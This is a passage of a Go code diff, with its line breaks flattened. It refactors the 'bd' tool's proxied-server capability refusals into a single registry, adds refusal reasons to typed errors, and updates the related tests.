%#v", typed) + } + if typed.Reason != ProxyReasonUnimplemented { + t.Fatalf("store backstop reason = %q, want unimplemented", typed.Reason) + } +} diff --git a/cmd/bd/transform_capability_test.go b/cmd/bd/capability_registry_transform_test.go similarity index 88% rename from cmd/bd/transform_capability_test.go rename to cmd/bd/capability_registry_transform_test.go index 913b4d39f..86ed302b4 100644 --- a/cmd/bd/transform_capability_test.go +++ b/cmd/bd/capability_registry_transform_test.go @@ -58,24 +58,25 @@ func TestProxyTransformCapabilityRows(t *testing.T) { } } } - row, ok := lookupTransformCapability(cmd) + row, ok := capabilityRowFor(cmd) if !ok { t.Fatalf("lookup(%q, %q) missing row", tc.path, tc.argument) } - if row.Path != tc.path || row.Argument != tc.argument || row.Outcome != tc.outcome { + if row.Path != tc.path || row.ArgSet != tc.argument || row.Rule.Outcome != tc.outcome { t.Fatalf("row = %#v, want path=%q argument=%q outcome=%q", row, tc.path, tc.argument, tc.outcome) } if tc.outcome == ProxyOutcomeRefused { - if row.Code != tc.code || row.Message != tc.message || row.ExitCode != tc.exit || row.Mutates != tc.mutates { - t.Fatalf("refusal fields = code=%q message=%q exit=%d mutates=%t", row.Code, row.Message, row.ExitCode, row.Mutates) + if row.Rule.Code != tc.code || row.Rule.Message != tc.message || row.Rule.ExitCode != tc.exit || row.Rule.Mutates != tc.mutates { + t.Fatalf("refusal fields = code=%q message=%q exit=%d mutates=%t", + row.Rule.Code, row.Rule.Message, row.Rule.ExitCode, row.Rule.Mutates) } - typed := transformCapabilityError(row) + var typed error = proxyCapabilityErrorFor(row.Rule) var got *ProxyCapabilityError if !errors.As(typed, &got) || got.Code != tc.code || got.ExitCode != 1 || got.Mutates { t.Fatalf("typed refusal = %#v", typed) } } - if err := validateProxyTransformBeforeProvider(cmd); tc.outcome == ProxyOutcomeHonored && err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); tc.outcome == ProxyOutcomeHonored && err != nil { t.Fatalf("honored transform refused: %v", err) } }) @@ -85,11 +86,11 @@ func TestProxyTransformCapabilityRows(t *testing.T) { func TestProxyDuplicatesAutoMergeDryRunMatrix(t *testing.T) { cmd := transformTestCommand("duplicates", "auto-merge", "dry-run") _ = cmd.Flags().Set("auto-merge", "true") - if err := validateProxyTransformBeforeProvider(cmd); err == nil { + if err := validateProxyRegistryBeforeProvider(cmd); err == nil { t.Fatalf("non-dry auto-merge error = %v", err) } _ = cmd.Flags().Set("dry-run", "true") - if err := validateProxyTransformBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); err != nil { t.Fatalf("dry-run auto-merge refused: %v", err) } } @@ -103,7 +104,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = false var textErr string stderr := captureStderr(t, func() { - err := validateProxyTransformBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if code, ok := exitCodeFromError(err); !ok || code != 1 { t.Fatalf("exit = %v, want 1", err) } @@ -115,7 +116,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = true stdout := captureStdout(t, func() error { - _ = validateProxyTransformBeforeProvider(cmd) + _ = validateProxyRegistryBeforeProvider(cmd) return nil }) var envelope map[string]any @@ -140,8 +141,8 @@ func TestProxyTransformMatcherIgnoresInheritedOutputFlags(t *testing.T) { if err := root.PersistentFlags().Set("json", "true"); err != nil { t.Fatal(err) } - row, ok := lookupTransformCapability(cmd) - if !ok || row.Argument != "--auto-merge" || row.Outcome != ProxyOutcomeRefused { + row, ok := capabilityRowFor(cmd) + if !ok || row.ArgSet != "--auto-merge" || row.Rule.Outcome != ProxyOutcomeRefused { t.Fatalf("row with inherited --json = %#v, ok=%v", row, ok) } } @@ -163,7 +164,7 @@ func TestProxyTransformRefusalHasNoProviderOrFileMutation(t *testing.T) { t.Cleanup(func() { uowProvider = oldProvider }) cmd := transformTestCommand("supersede") - err := validateProxyTransformBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if err == nil { t.Fatal("expected transform refusal") } diff --git a/cmd/bd/errors.go b/cmd/bd/errors.go index 80ff1b5b3..bf753777b 100644 --- a/cmd/bd/errors.go +++ b/cmd/bd/errors.go @@ -76,8 +76,16 @@ func buildJSONError(message, hint string) interface{} { return inner } +// buildJSONCapabilityError renders a typed refusal. {code, error, mutates} is a +// frozen contract that downstream consumers parse; `reason` is additive and +// appears only on refusals that came from the capability registry, which is why +// it is omitted rather than emitted empty — a consumer that keys on its presence +// must not be told "" by a runtime state error that has no policy reason. func buildJSONCapabilityError(e *ProxyCapabilityError) interface{} { inner := map[string]interface{}{"error": e.Message, "code": e.Code, "mutates": e.Mutates} + if e.Reason != "" { + inner["reason"] = string(e.Reason) + } if jsonEnvelopeEnabled() { return map[string]interface{}{"schema_version": JSONSchemaVersion, "data": inner} } diff --git a/cmd/bd/history_capability.go b/cmd/bd/history_capability.go deleted file mode 100644 index c3e5fd3f7..000000000 --- a/cmd/bd/history_capability.go +++ /dev/null @@ -1,28 +0,0 @@ -package main - -// HistoryCapabilityClass classifies history/version-control commands on the -// proxied topology without coupling them to a particular backend engine. -type HistoryCapabilityClass string - -const ( - HistoryProxySupported HistoryCapabilityClass = "proxy-supported" - HistoryProxyAPI HistoryCapabilityClass = "proxy-api" - HistoryDirectOnly HistoryCapabilityClass = "direct-only" -) - -var historyCapabilityMatrix = map[string]HistoryCapabilityClass{ - "history": HistoryProxySupported, - "branch": HistoryDirectOnly, "conflicts": HistoryDirectOnly, "repo": HistoryDirectOnly, - "federation": HistoryDirectOnly, "vc": HistoryDirectOnly, "flatten": HistoryDirectOnly, - "dolt push": HistoryDirectOnly, "dolt pull": HistoryDirectOnly, "dolt commit": HistoryDirectOnly, - "dolt remote": HistoryDirectOnly, "dolt remote add": HistoryDirectOnly, "dolt remote list": HistoryDirectOnly, - "dolt remote reset-data": HistoryDirectOnly, "dolt remote remove": HistoryProxySupported, - "sync": HistoryDirectOnly, -} - -// LookupHistoryCapability classifies an exact command path. Unknown paths are -// intentionally absent so callers cannot accidentally advertise support. -func LookupHistoryCapability(commandPath string) (HistoryCapabilityClass, bool) { - c, ok := historyCapabilityMatrix[commandPath] - return c, ok -} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 5742c07ef..946cefbb1 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -229,13 +229,6 @@ func effectiveRootStorePolicy(cmdName string, strictReadonly bool) rootStorePoli } } -// backendSupportsStrictReadonly reports whether the live backend path can open -// without provisioning or lifecycle changes. Unsupported SQL backends are -// rejected earlier by validateConfiguredBackend; proxied Dolt remains writable-only. -func backendSupportsStrictReadonly(cfg *configfile.Config) bool { - return cfg == nil || !cfg.IsDoltProxiedServerMode() -} - // runsPostCommandMaintenance reports whether PersistentPostRunE should run the // post-command maintenance net — Dolt auto-commit, the tip-metadata commit, // auto-backup, auto-export and auto-push. @@ -1293,11 +1286,11 @@ var rootCmd = &cobra.Command{ } } if cmdName == "doctor" && usesProxiedServer() { - // Refuse only on a real refusal. validateProxyMaintenance... + // Refuse only on a real refusal. The registry validator // returns nil for doctor subcommands, and returning early on // that would skip the legacy-store guard and autocommit-mode // resolution every other skipsStoreInit command still runs. - if err := validateProxyMaintenanceBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); err != nil { return err } } @@ -1504,14 +1497,13 @@ var rootCmd = &cobra.Command{ } // Reject proxy capability combinations before any workspace side effect // (version tracking, migration, auto-start, or provider construction). + // Two validators, one for each half of the policy: flag-keyed rules and + // the path-keyed capability registry. if cfg != nil && cfg.IsDoltProxiedServerMode() { if err := validateProxyCapabilitiesBeforeProvider(cmd); err != nil { return err } - if err := validateProxyMaintenanceBeforeProvider(cmd); err != nil { - return err - } - if err := validateProxyTransformBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); err != nil { return err } } @@ -1522,9 +1514,6 @@ var rootCmd = &cobra.Command{ if readonlyMode && cfg != nil && cfg.IsDoltProxiedServerMode() { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapReadonly)) } - if readonlyMode && !backendSupportsStrictReadonly(cfg) { - return HandleError("strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access") - } // Set actor for audit trail actor = getActorWithGit() diff --git a/cmd/bd/migrate_dolt_mode.go b/cmd/bd/migrate_dolt_mode.go index 387624e93..684212738 100644 --- a/cmd/bd/migrate_dolt_mode.go +++ b/cmd/bd/migrate_dolt_mode.go @@ -199,12 +199,17 @@ func migrateFault(phase migratePhase) error { return nil } +// externalMigrationRefusal is a policy refusal rather than a registry row: it +// depends on the workspace's endpoint, not on which command was typed. The +// reason is design because someone else owns that endpoint and its schema — +// no amount of plumbing on this side makes migrating it bd's business. func externalMigrationRefusal(message string) error { return HandleProxyCapabilityError(&ProxyCapabilityError{ Code: "proxy.migrate.external_endpoint", Message: message, ExitCode: 1, Mutates: false, + Reason: ProxyReasonDesign, }) } diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 8c188183e..774323944 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -2,7 +2,6 @@ package main import ( "fmt" - "strings" "github.com/spf13/cobra" ) @@ -47,17 +46,24 @@ const ( ProxyOutcomeRefused ProxyCapabilityOutcome = "refused" ProxyOutcomeDelegated ProxyCapabilityOutcome = "delegated" ProxyOutcomeNA ProxyCapabilityOutcome = "N/A" + // ProxyOutcomeRefusedInRunE records a path the gate permits and that the + // command then refuses itself, untyped, from RunE. It is inventory, not + // policy: nothing enforces it. See capability_registry.go. + ProxyOutcomeRefusedInRunE ProxyCapabilityOutcome = "refused-in-run" ) // proxyCapabilityRule is the stable contract for one command/argument/topology // capability. Mutates is false for all refusals; ExitCode is used by the CLI -// when rendering a typed refusal. +// when rendering a typed refusal. Reason and Tracking say why a refusal exists +// and who closes it — see the header of capability_registry.go. type proxyCapabilityRule struct { Outcome ProxyCapabilityOutcome Code string Message string ExitCode int Mutates bool + Reason ProxyRefusalReason + Tracking string } // ProxyCapabilityError is a machine-identifiable front-door refusal. @@ -66,12 +72,39 @@ type ProxyCapabilityError struct { Message string ExitCode int Mutates bool + Reason ProxyRefusalReason } func (e *ProxyCapabilityError) Error() string { return e.Message } -func refused(code, message string) proxyCapabilityRule { - return proxyCapabilityRule{Outcome: ProxyOutcomeRefused, Code: code, Message: message, ExitCode: 1} +// errProxiedStoreUnrouted is the backstop for a command that the front door +// permitted and that then asked for a classic store on a proxied-server +// workspace. The proxied topology has no such store — the provider owns the +// connection — so the factory refuses rather than opening the proxied root a +// second time behind the proxy's back, which is the one failure mode every +// slice of this work must not regress. +// +// Reaching this is a routing gap in the command, not a policy decision: the +// registry says the gate permits the path, and permitting a path is not a +// promise that a proxied route exists for it. The owner is therefore whichever +// slice routes the command that landed here, which is why the reason is +// "unimplemented" and no single tracking item fits. It is typed so that a +// caller can classify it; before the registry there was no way to tell this +// apart from a genuine store failure. +func errProxiedStoreUnrouted() error { + return &ProxyCapabilityError{ + Code: "proxy.store.unrouted", + Message: "this command has no proxied-server route; bd will not open a proxied-server workspace as a direct store", + ExitCode: 1, + Reason: ProxyReasonUnimplemented, + } +} + +func refused(code, message string, reason ProxyRefusalReason, tracking string) proxyCapabilityRule { + return proxyCapabilityRule{ + Outcome: ProxyOutcomeRefused, Code: code, Message: message, ExitCode: 1, + Reason: reason, Tracking: tracking, + } } func honored() proxyCapabilityRule { @@ -97,104 +130,6 @@ type ProxyCapabilityRow struct { Rule proxyCapabilityRule } -var proxyMaintenanceRefusals = map[string]proxyCapabilityRule{ - "doctor": refused("proxy.doctor.unsupported", "doctor is not supported in proxied-server mode"), - "backup": refused("proxy.backup.unsupported", "backup is not supported in proxied-server mode"), - "restore": refused("proxy.restore.unsupported", "restore is not supported in proxied-server mode"), - "diff": refused("proxy.diff.unsupported", "diff is not supported in proxied-server mode"), - "flatten": refused("proxy.flatten.unsupported", "flatten is not supported in proxied-server mode"), - "migrate": refused("proxy.migrate.unsupported", "migrate is not supported in proxied-server mode"), - "migrate-personal": refused("proxy.migrate.unsupported", "migrate-personal is not supported in proxied-server mode"), - "branch": refused("proxy.branch.unsupported", "branch is not supported in proxied-server mode"), - "conflicts": refused("proxy.conflicts.unsupported", "conflicts is not supported in proxied-server mode"), - "vc": refused("proxy.vc.unsupported", "vc is not supported in proxied-server mode"), - "federation": refused("proxy.federation.unsupported", "federation is not supported in proxied-server mode"), - "repo": refused("proxy.repo.unsupported", "repo is not supported in proxied-server mode"), - // Wording matches the long-standing compact.go refusal this pre-provider - // gate now short-circuits, so the user-facing message does not change. - "compact": refused("proxy.compact.unsupported", "only 'compact --dolt' is supported in proxied-server mode"), - "backup init": refused("proxy.backup.unsupported", "backup init is not supported in proxied-server mode"), - "backup sync": refused("proxy.backup.unsupported", "backup sync is not supported in proxied-server mode"), - "backup remove": refused("proxy.backup.unsupported", "backup remove is not supported in proxied-server mode"), - "backup status": refused("proxy.backup.unsupported", "backup status is not supported in proxied-server mode"), - "backup restore": refused("proxy.backup.unsupported", "backup restore is not supported in proxied-server mode"), - "migrate sync": refused("proxy.migrate.unsupported", "migrate sync is not supported in proxied-server mode"), - "migrate-issues": refused("proxy.migrate.unsupported", "migrate-issues is not supported in proxied-server mode"), - "gate discover": refused("proxy.gate.unsupported", "gate discover is not supported in proxied-server mode"), - "admin cleanup": refused("proxy.admin.unsupported", "admin cleanup is not supported in proxied-server mode"), - "admin reset": refused("proxy.admin.unsupported", "admin reset is not supported in proxied-server mode"), - "dolt push": refused("proxy.dolt_push.unsupported", "dolt push is not supported in proxied-server mode"), - "dolt pull": refused("proxy.dolt_pull.unsupported", "dolt pull is not supported in proxied-server mode"), - "dolt commit": refused("proxy.dolt_commit.unsupported", "dolt commit is not supported in proxied-server mode"), - "dolt remote": refused("proxy.dolt_remote.unsupported", "dolt remote is not supported in proxied-server mode"), - "dolt remote add": refused("proxy.dolt_remote.unsupported", "dolt remote add is not supported in proxied-server mode"), - "dolt remote list": refused("proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode"), - "cook": refused("proxy.formula.unsupported", "cook is not supported in proxied-server mode"), - "ship": refused("proxy.formula.unsupported", "ship is not supported in proxied-server mode"), - "swarm create": refused("proxy.swarm.unsupported", "swarm create is not supported in proxied-server mode"), - "swarm list": refused("proxy.swarm.unsupported", "swarm list is not supported in proxied-server mode"), - "merge-slot create": refused("proxy.merge_slot.unsupported", "merge-slot create is not supported in proxied-server mode"), - "merge-slot check": refused("proxy.merge_slot.unsupported", "merge-slot check is not supported in proxied-server mode"), - "merge-slot acquire": refused("proxy.merge_slot.unsupported", "merge-slot acquire is not supported in proxied-server mode"), - "merge-slot release": refused("proxy.merge_slot.unsupported", "merge-slot release is not supported in proxied-server mode"), - "dolt remote reset-data": refused("proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode"), - "sync": refused("proxy.sync.unsupported", "sync is not supported in proxied-server mode"), -} - -func init() { - for parent, children := range map[string][]string{ - "vc": {"merge", "commit", "status"}, - "federation": {"sync", "status", "add-peer", "remove-peer", "list-peers"}, - "repo": {"add", "remove", "list", "sync"}, - "conflicts": {"list", "show", "resolve"}, - "migrate": {"hooks", "issues"}, - } { - rule := proxyMaintenanceRefusals[parent] - for _, child := range children { - path := parent + " " + child - proxyMaintenanceRefusals[path] = refused(rule.Code, path+" is not supported in proxied-server mode") - } - } -} - -// validateProxyMaintenanceBeforeProvider rejects known direct-only commands -// before migrations, auto-start, or provider construction. -func validateProxyMaintenanceBeforeProvider(cmd *cobra.Command) error { - if cmd == nil { - return nil - } - name := cmd.Name() - path := strings.TrimSpace(strings.TrimPrefix(cmd.CommandPath(), cmd.Root().Name())) - if name == "compact" { - if cmd.Flags().Lookup("dolt") == nil { - return nil // root `bd compact` is the Dolt history command - } - dolt, _ := cmd.Flags().GetBool("dolt") - if dolt { - return nil - } - rule := proxyMaintenanceRefusals["compact"] - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode}) - } - if rule, ok := proxyMaintenanceRefusals[path]; ok { - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode}) - } - if class, ok := LookupHistoryCapability(path); ok && class == HistoryDirectOnly { - rule := refused("proxy.history.unsupported", path+" is not supported in proxied-server mode") - if specific, found := proxyMaintenanceRefusals[path]; found { - rule = specific - } - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode, Mutates: rule.Mutates}) - } - if strings.Contains(path, " ") { - return nil - } - if rule, ok := proxyMaintenanceRefusals[name]; ok { - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode}) - } - return nil -} - // LookupProxyCapabilityFor returns the command/argument-specific rule. An // absent command row falls back to the topology-wide default. func LookupProxyCapabilityFor(command, argument string, mode ProxyMode) (proxyCapabilityRule, bool) { @@ -212,26 +147,50 @@ func LookupProxyCapabilityFor(command, argument string, mode ProxyMode) (proxyCa return LookupProxyCapability(mode, capability) } +// Shared by the mode-wide rule and its per-command overrides, so a command that +// refuses one of these refuses it with the same words and the same reason. +var ( + // The cap is refused rather than silently dropped, which is right; the fix + // is threading it through the UOW reader the way `list` already does, so + // the refusal itself is the gap. + maxRowsRefusal = refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) + // `list --watch` is routed, so watching is possible over the provider; + // nothing else has been wired to it. + watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) +) + +// proxyCapabilityMatrix is the flag-keyed half of the policy; the path-keyed +// half is the registry in capability_registry.go. Reasons follow the same rule +// there and here. +// +// Strict --readonly is the one capability that needs real backend work rather +// than routing: it is a GUARANTEE, the proxied provider carries no read-only +// posture, and the only honest implementation is a read-only SQL principal on +// the backend — which on external topologies is the operator's configuration, +// not bd's. A best-effort version would betray exactly the workflows that ask +// for it, so it is refused by design until that principal exists. --repo is +// design for a simpler reason: it routes to another workspace, bypassing the +// proxied root entirely. var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ ProxyModeDirect: { ProxyCapReadonly: honored(), ProxyCapMaxRows: honored(), ProxyCapWatch: honored(), ProxyCapRepo: honored(), }, ProxyModeProxied: { - ProxyCapReadonly: refused("proxy.readonly.unsupported", "strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access"), - ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode"), - ProxyCapWatch: refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode"), - ProxyCapRepo: refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server"), + ProxyCapReadonly: refused("proxy.readonly.unsupported", "strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access", ProxyReasonDesign, "1.4 candidate: read-only SQL principal on the backend"), + ProxyCapMaxRows: maxRowsRefusal, + ProxyCapWatch: watchRefusal, + ProxyCapRepo: refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server", ProxyReasonDesign, ""), }, } var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ - "show": {ProxyModeProxied: {ProxyCapWatch: refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode")}}, + "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, - "ready": {ProxyModeProxied: {ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode")}}, - "graph": {ProxyModeProxied: {ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode")}}, - "find-duplicates": {ProxyModeProxied: {ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode")}}, + "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, + "graph": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, + "find-duplicates": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, } // proxyCapabilityRows materializes the policy for every supported proxied @@ -305,7 +264,7 @@ func AssertProxyCommandCapability(command string, mode ProxyMode, capability Pro return nil } if rule.Code != "" { - return &ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode, Mutates: rule.Mutates} + return proxyCapabilityErrorFor(rule) } return fmt.Errorf("%s", rule.Message) } @@ -314,7 +273,7 @@ func AssertProxyCommandCapability(command string, mode ProxyMode, capability Pro rule, ok := LookupProxyCapability(mode, capability) if !ok || (rule.Outcome != ProxyOutcomeHonored && rule.Outcome != ProxyOutcomeDelegated) { if rule.Code != "" { - return &ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode, Mutates: rule.Mutates} + return proxyCapabilityErrorFor(rule) } if rule.Message != "" { return fmt.Errorf("%s", rule.Message) diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 54656af26..3b7718cf0 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -151,7 +151,7 @@ func TestProxyMaintenanceNestedPathsRefuseBeforeProvider(t *testing.T) { root.AddCommand(parent) parent.AddCommand(child) out := captureStdout(t, func() error { - _ = validateProxyMaintenanceBeforeProvider(child) + _ = validateProxyRegistryBeforeProvider(child) return nil }) if !strings.Contains(out, `"code":`) { @@ -171,7 +171,7 @@ func TestProxyFormulaSwarmMergeSlotRefusals(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyMaintenanceBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if err == nil { t.Fatalf("%s unexpectedly allowed", path) } @@ -209,7 +209,7 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { if !ok || row.Code != tc.code || row.Message != tc.message || row.ExitCode != 1 || row.Mutates { t.Fatalf("row = %#v, ok=%v", row, ok) } - var typed *ProxyCapabilityError = &ProxyCapabilityError{Code: row.Code, Message: row.Message, ExitCode: row.ExitCode, Mutates: row.Mutates} + typed := proxyCapabilityErrorFor(row) if typed.Code != tc.code || typed.Message != tc.message || typed.ExitCode != 1 || typed.Mutates { t.Fatalf("typed refusal = %#v", typed) } @@ -232,7 +232,7 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { oldDidWrite := commandDidWrite.Load() commandDidWrite.Store(false) t.Cleanup(func() { commandDidWrite.Store(oldDidWrite) }) - out := captureStdout(t, func() error { _ = validateProxyMaintenanceBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) var got map[string]any if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != tc.code || got["error"] != tc.message { t.Fatalf("JSON refusal = %q (%v)", out, err) @@ -251,8 +251,8 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { } func lookupProxyMaintenanceRuleForTest(path string) (proxyCapabilityRule, bool) { - rule, ok := proxyMaintenanceRefusals[path] - return rule, ok + row, ok := LookupCapabilityRow(path, "") + return row.Rule, ok } func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { @@ -269,7 +269,7 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { oldProvider := uowProvider uowProvider = nil t.Cleanup(func() { uowProvider = oldProvider }) - err := validateProxyMaintenanceBeforeProvider(hooks) + err := validateProxyRegistryBeforeProvider(hooks) if err == nil { t.Fatal("expected typed maintenance refusal") } diff --git a/cmd/bd/readonly_policy_test.go b/cmd/bd/readonly_policy_test.go index cd5d78f91..afa6329c2 100644 --- a/cmd/bd/readonly_policy_test.go +++ b/cmd/bd/readonly_policy_test.go @@ -68,26 +68,6 @@ func TestEffectiveRootStorePolicy(t *testing.T) { } } -func TestStrictReadonlyBackendSupport(t *testing.T) { - tests := []struct { - name string - cfg *configfile.Config - want bool - }{ - {name: "fresh embedded default", cfg: nil, want: true}, - {name: "dolt server", cfg: &configfile.Config{Backend: configfile.BackendDolt, DoltMode: configfile.DoltModeServer}, want: true}, - {name: "proxied server", cfg: &configfile.Config{Backend: configfile.BackendDolt, DoltMode: configfile.DoltModeProxiedServer}, want: false}, - } - - for _, tc := range tests { - t.Run(tc.name, func(t *testing.T) { - if got := backendSupportsStrictReadonly(tc.cfg); got != tc.want { - t.Fatalf("backendSupportsStrictReadonly() = %v, want %v", got, tc.want) - } - }) - } -} - type strictReadonlyPostRunStore struct { storage.DoltStorage metadataWrites int diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index c3df2abcc..f26e51ca7 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -603,7 +603,7 @@ func serveDatabaseSource(beadsDir string) (serveDatabase, error) { // the server, which no client can discover before connecting. bd already // answers this question the same way one layer down, where a backend that // cannot guarantee mutation-free access is turned away rather than opened -// anyway (backendSupportsStrictReadonly, cmd/bd/main.go). +// anyway (the proxy.readonly.unsupported refusal in cmd/bd/main.go). // // The value is read from the global rather than a flag lookup because // `readonly` is also a config key, and PersistentPreRunE has already folded diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index 00f1afb32..0bf5fe521 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -70,9 +70,7 @@ func newRegisteredBackendStore(ctx context.Context, name, beadsDir string, readO func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, err error) { defer func() { s, err = activateEventsJournalStore(cfg.BeadsDir, s, err) }() if cfg.ProxiedServer { - // TODO: this should not be a store - // it should be a uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") + return nil, errProxiedStoreUnrouted() } if cfg.ServerMode { return dolt.New(ctx, cfg) @@ -172,13 +170,7 @@ func newDoltStoreFromConfig(ctx context.Context, beadsDir string) (s storage.Dol return backend.Open(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfig(ctx, beadsDir) @@ -280,14 +272,7 @@ func openNonMutatingStoreFromConfig(ctx context.Context, beadsDir string, previe return backend.OpenReadOnly(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store needs to be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // ReadOnly: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfigWithOptions(ctx, beadsDir, &dolt.Config{ReadOnly: true}) diff --git a/cmd/bd/store_factory_nocgo.go b/cmd/bd/store_factory_nocgo.go index 3266e1aa9..152ceb294 100644 --- a/cmd/bd/store_factory_nocgo.go +++ b/cmd/bd/store_factory_nocgo.go @@ -50,9 +50,7 @@ func newRegisteredBackendStore(ctx context.Context, name, beadsDir string, readO func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, err error) { defer func() { s, err = activateEventsJournalStore(cfg.BeadsDir, s, err) }() if cfg.ProxiedServer { - // TODO: this should not be a store - // it should be a uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") + return nil, errProxiedStoreUnrouted() } if !cfg.ServerMode { return nil, fmt.Errorf("%s", nocgoEmbeddedErrMsg) @@ -83,13 +81,7 @@ func newDoltStoreFromConfig(ctx context.Context, beadsDir string) (s storage.Dol return backend.Open(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store should be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfig(ctx, beadsDir) @@ -114,14 +106,7 @@ func newReadOnlyStoreFromConfig(ctx context.Context, beadsDir string) (storage.D return backend.OpenReadOnly(ctx, beadsDir) } if cfg != nil && cfg.IsDoltProxiedServerMode() { - // TODO: this needs to be uow provider - return nil, fmt.Errorf("proxy server store needs to be uow provider") - // return newProxiedServerStore(ctx, &dolt.Config{ - // BeadsDir: beadsDir, - // Database: cfg.GetDoltDatabase(), - // ProxiedServer: true, - // ReadOnly: true, - // }) + return nil, errProxiedStoreUnrouted() } if cfg != nil && cfg.IsDoltServerMode() { return dolt.NewFromConfigWithOptions(ctx, beadsDir, &dolt.Config{ReadOnly: true}) diff --git a/cmd/bd/transform_capability.go b/cmd/bd/transform_capability.go deleted file mode 100644 index 2265a1b78..000000000 --- a/cmd/bd/transform_capability.go +++ /dev/null @@ -1,90 +0,0 @@ -package main - -import ( - "sort" - "strings" - - "github.com/spf13/cobra" - 